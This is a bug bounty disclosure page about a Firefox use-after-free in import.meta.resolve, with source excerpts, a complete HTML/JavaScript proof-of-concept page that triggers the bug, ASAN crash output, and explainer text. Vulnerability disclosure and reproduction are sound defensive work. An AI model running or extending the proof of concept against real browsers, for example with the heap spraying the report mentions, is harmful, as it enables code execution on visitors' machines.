Saved import.meta.resolve Closure Holds Non-Reference-Counted Raw ModuleScript Pointer Leading to Use-After-Free After iframe Removal
Firefox's module loader stored a raw pointer to an inline module's ModuleScript in the import.meta.resolve function without incrementing its reference count. If a page saved that function, removed the iframe, and triggered garbage collection, the ModuleScript was freed, and calling the saved function later caused a use-after-free that could potentially be exploited for code execution.
Originally disclosed on Mozilla
- Fixed in 5 days
- Paid in 17 days
- Disclosed after 5 days
Brief/Intro
Firefox's module loader stores a ModuleScript* as a PrivateValue in the import.meta.resolve function's reserved slot via SetFunctionNativeReserved without calling AddRef() to increment the reference count. For inline modules (<script type="module"> embedded directly in HTML), the ModuleScript is not stored in the mFetchedModules module map, so its only strong reference comes from the JS module record via HostAddRefTopLevelScript. When JavaScript saves the import.meta.resolve reference to an outer scope (such as a parent window), then removes the iframe and triggers GC to collect the module record, HostReleaseTopLevelScript decrements the ModuleScript's reference count to zero and frees the object. Calling the saved resolve function afterwards dereferences the dangling ModuleScript* pointer, resulting in a Use-After-Free. This vulnerability can be triggered from ordinary web page JavaScript without any special privileges or user interaction.
Vulnerability Details
ModuleLoaderBase::HostPopulateImportMeta() stores a raw ModuleScript* pointer in the resolve function's reserved slot when defining the function on the import.meta object:
// js/loader/ModuleLoaderBase.cpp — HostPopulateImportMeta()
JSFunction* resolveFunc = js::DefineFunctionWithReserved(
aCx, aMetaObject, "resolve", ImportMetaResolve, ImportMetaResolveNumArgs,
JSPROP_ENUMERATE);
// ...
RootedObject resolveFuncObj(aCx, JS_GetFunctionObject(resolveFunc));
js::SetFunctionNativeReserved(
resolveFuncObj, static_cast<size_t>(ImportMetaSlots::ModulePrivateSlot),
aReferencingPrivate); // PrivateValue(ModuleScript*), no AddRef
Here aReferencingPrivate contains a raw pointer to a ModuleScript object, stored as a JS::PrivateValue. SetFunctionNativeReserved simply copies the value into the JS function object's reserved slot without any reference counting operation.
When the resolve function is called, ImportMetaResolve retrieves the raw pointer from the reserved slot and passes it to ImportMetaResolveImpl:
// js/loader/ModuleLoaderBase.cpp — ImportMetaResolveImpl()
JSString* ModuleLoaderBase::ImportMetaResolveImpl(
JSContext* aCx, Handle<Value> aReferencingPrivate,
Handle<JSString*> aSpecifier) {
{
RefPtr<ModuleScript> script =
static_cast<ModuleScript*>(aReferencingPrivate.toPrivate()); // UAF
MOZ_ASSERT(script->IsModuleScript());
// ...
}
}
static_cast<ModuleScript*>(aReferencingPrivate.toPrivate()) dereferences the raw pointer from the reserved slot and assigns it to a RefPtr, performing AddRef(). If the ModuleScript has already been freed, this is a Use-After-Free.
For inline modules (<script type="module"> embedded directly in HTML), the ModuleScript object is not stored in the mFetchedModules module map (which only stores modules fetched via URL). Therefore, the inline module's ModuleScript has its only strong reference from the SpiderMonkey engine via HostAddRefTopLevelScript. When GC collects the module record, HostReleaseTopLevelScript calls Release(), the reference count drops to zero, and the ModuleScript is freed.
The attack chain is very straightforward: create an inline module inside an iframe that saves its import.meta.resolve reference to a global variable in the parent window. After removing the iframe, the module loader is destroyed, but the resolve function is still held by the parent window (as an ordinary JS function object). After triggering GC to collect the module record, the ModuleScript is freed. Calling resolve('./test.js') from the parent window then triggers the UAF.
Impact Details
This vulnerability is a heap-use-after-free READ with an ASAN SCARINESS rating of 51 (8-byte-read-heap-use-after-free). The freed ModuleScript object is 256 bytes in size.
In ImportMetaResolveImpl, after performing static_cast on the dangling pointer and assigning it to a RefPtr, AddRef() is called. Subsequent code also calls virtual functions such as IsModuleScript() and ModuleRecord() through the RefPtr. An attacker can use heap spraying to reclaim the freed 256-byte region after the ModuleScript is freed, controlling the vtable pointer and other members to achieve control flow hijacking.
The trigger conditions require only standard Web APIs: <script type="module"> to create an inline module, import.meta.resolve to obtain the resolve function reference, iframe creation and removal, and memory pressure to trigger GC. No autoconfig, no Cu.forceGC(), and no special privileges are required. Normal memory allocation activity from a web page is sufficient to trigger GC collection of the module record.
References
SetFunctionNativeReserved storing raw PrivateValue without AddRef: https://searchfox.org/mozilla-central/source/js/loader/ModuleLoaderBase.cpp#467-470
ImportMetaResolveImpl dereferencing toPrivate() (UAF point): https://searchfox.org/mozilla-central/source/js/loader/ModuleLoaderBase.cpp#381-382
ImportMetaResolve retrieving raw pointer from reserved slot: https://searchfox.org/mozilla-central/source/js/loader/ModuleLoaderBase.cpp#346-349
Proof of Concept
This PoC creates an inline module inside an iframe, saves import.meta.resolve to the parent window, removes the iframe and triggers GC via memory pressure to free the ModuleScript, then calls the saved resolve function to trigger the UAF. No source code modifications, autoconfig configuration, or special privileges are required.
PoC page (poc.html, served via an HTTP server):
<!DOCTYPE html>
<html>
<head>
<title>import.meta.resolve UAF PoC</title>
</head>
<body>
<h2>import.meta.resolve UAF</h2>
<pre id="log"></pre>
<script>
function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
window.stolenResolve = null;
window.resolveReady = false;
function createPoisonedIframe() {
return new Promise(function(resolve) {
var iframe = document.createElement('iframe');
iframe.srcdoc = '<!DOCTYPE html><html><body>' +
'<script type="module">' +
'window.parent.stolenResolve = import.meta.resolve;' +
'window.parent.resolveReady = true;' +
'<\/script></body></html>';
document.body.appendChild(iframe);
function check() {
if (window.resolveReady) {
log('[+] Got import.meta.resolve from iframe inline module');
resolve(iframe);
} else {
setTimeout(check, 50);
}
}
setTimeout(check, 100);
});
}
function forceGC() {
// Memory pressure to trigger GC
var garbage = [];
for (var i = 0; i < 200; i++) {
garbage.push(new ArrayBuffer(1024 * 1024));
}
garbage = null;
for (var wave = 0; wave < 5; wave++) {
var tmp = [];
for (var i = 0; i < 100; i++) {
tmp.push(new ArrayBuffer(512 * 1024));
}
tmp = null;
}
}
async function exploit() {
log('[*] import.meta.resolve UAF PoC');
log('[*] ModuleLoaderBase.cpp:468-470 stores PrivateValue without AddRef');
// Step 1: Create iframe with inline module that leaks resolve
log('[1] Creating iframe with inline module...');
var iframe = await createPoisonedIframe();
log(' resolve function type: ' + typeof window.stolenResolve);
// Step 2: Destroy the iframe
log('[2] Destroying iframe to release module loader references...');
iframe.remove();
// Step 3: Force GC to collect the module record
log('[3] Forcing garbage collection to free ModuleScript...');
await new Promise(function(r) { setTimeout(r, 100); });
forceGC();
for (var round = 0; round < 5; round++) {
await new Promise(function(r) { setTimeout(r, 100); });
forceGC();
}
await new Promise(function(r) { setTimeout(r, 500); });
log(' GC cycles completed');
// Step 4: Call the dangling resolve function
log('[4] Calling dangling import.meta.resolve (UAF trigger)...');
try {
for (var i = 0; i < 10; i++) {
var result = window.stolenResolve('./test' + i + '.js');
log(' resolve(' + i + ') returned: ' + result);
}
log('[!] Check ASAN output for heap-use-after-free');
} catch (e) {
log('[!] Exception: ' + e.message);
}
}
exploit();
</script>
</body>
</html>
To reproduce, serve poc.html via an HTTP server (e.g., python3 -m http.server 8080) and open http://localhost:8080/poc.html with an ASAN Firefox build (with MOZ_DISABLE_CONTENT_SANDBOX=1 set). Wait approximately 20 seconds and check the ASAN log.
The following is the actual ASAN output from execution, confirming the Use-After-Free:
==2065578==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c1b2e204250
at pc 0x7b0b12040e23 bp 0x7ffe672e4d50 sp 0x7ffe672e4d48
READ of size 8 at 0x7c1b2e204250 thread T0 (Web Content)
SCARINESS: 51 (8-byte-read-heap-use-after-free)
#0 nsAutoOwningThread::IsCurrentThread() nsISupportsImpl.cpp:46
#1 nsAutoOwningThread::AssertCurrentThreadOwnsMe nsISupportsImpl.cpp:39
#3 JS::loader::LoadedScript::AddRef() LoadedScript.cpp:68
#4 JS::loader::ModuleScript::AddRef() LoadedScript.cpp:373
#8 ModuleLoaderBase::ImportMetaResolveImpl() ModuleLoaderBase.cpp:382
#9 ModuleLoaderBase::ImportMetaResolve() ModuleLoaderBase.cpp:362
0x7c1b2e204250 is located 16 bytes inside of 256-byte region [0x7c1b2e204240,0x7c1b2e204340)
freed by thread T0 (Web Content) here:
#0 free asan_malloc_linux.cpp:51
SUMMARY: AddressSanitizer: heap-use-after-free
nsISupportsImpl.cpp:46 in nsAutoOwningThread::IsCurrentThread() const
ASAN reports shadow bytes as fd (freed heap region), confirming that the ModuleScript object (256-byte heap region) had already been freed when ImportMetaResolveImpl() performed static_cast and called AddRef(). The crash stack trace shows the complete UAF path from ImportMetaResolve() through ImportMetaResolveImpl() to ModuleScript::AddRef(), where AddRef attempts to access the nsAutoOwningThread member on the freed object, triggering ASAN detection.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The module loader stored a raw ModuleScript pointer in a JS function's reserved slot without calling AddRef, so the function did not keep the module alive.
Impact
A use-after-free read could potentially be exploited via heap spraying to hijack control flow, though the report only demonstrates a crash under ASAN.
What the attacker needed
Victim visits a malicious web page; browser is Firefox; no special privileges required
How it was found
- Create an iframe containing an inline module script that saves import.meta.resolve to the parent window.
- Remove the iframe to release the module loader's references.
- Trigger garbage collection through memory pressure to free the ModuleScript.
- Call the saved resolve function from the parent window to trigger the use-after-free.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web page uses JavaScript modules, the browser keeps track of them with a reference count. This report found that one particular function, import.meta.resolve, held a pointer to a module without increasing that count. If the module was cleaned up while the function was still saved, calling the function later would access memory that had already been freed, which is a use-after-free bug.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.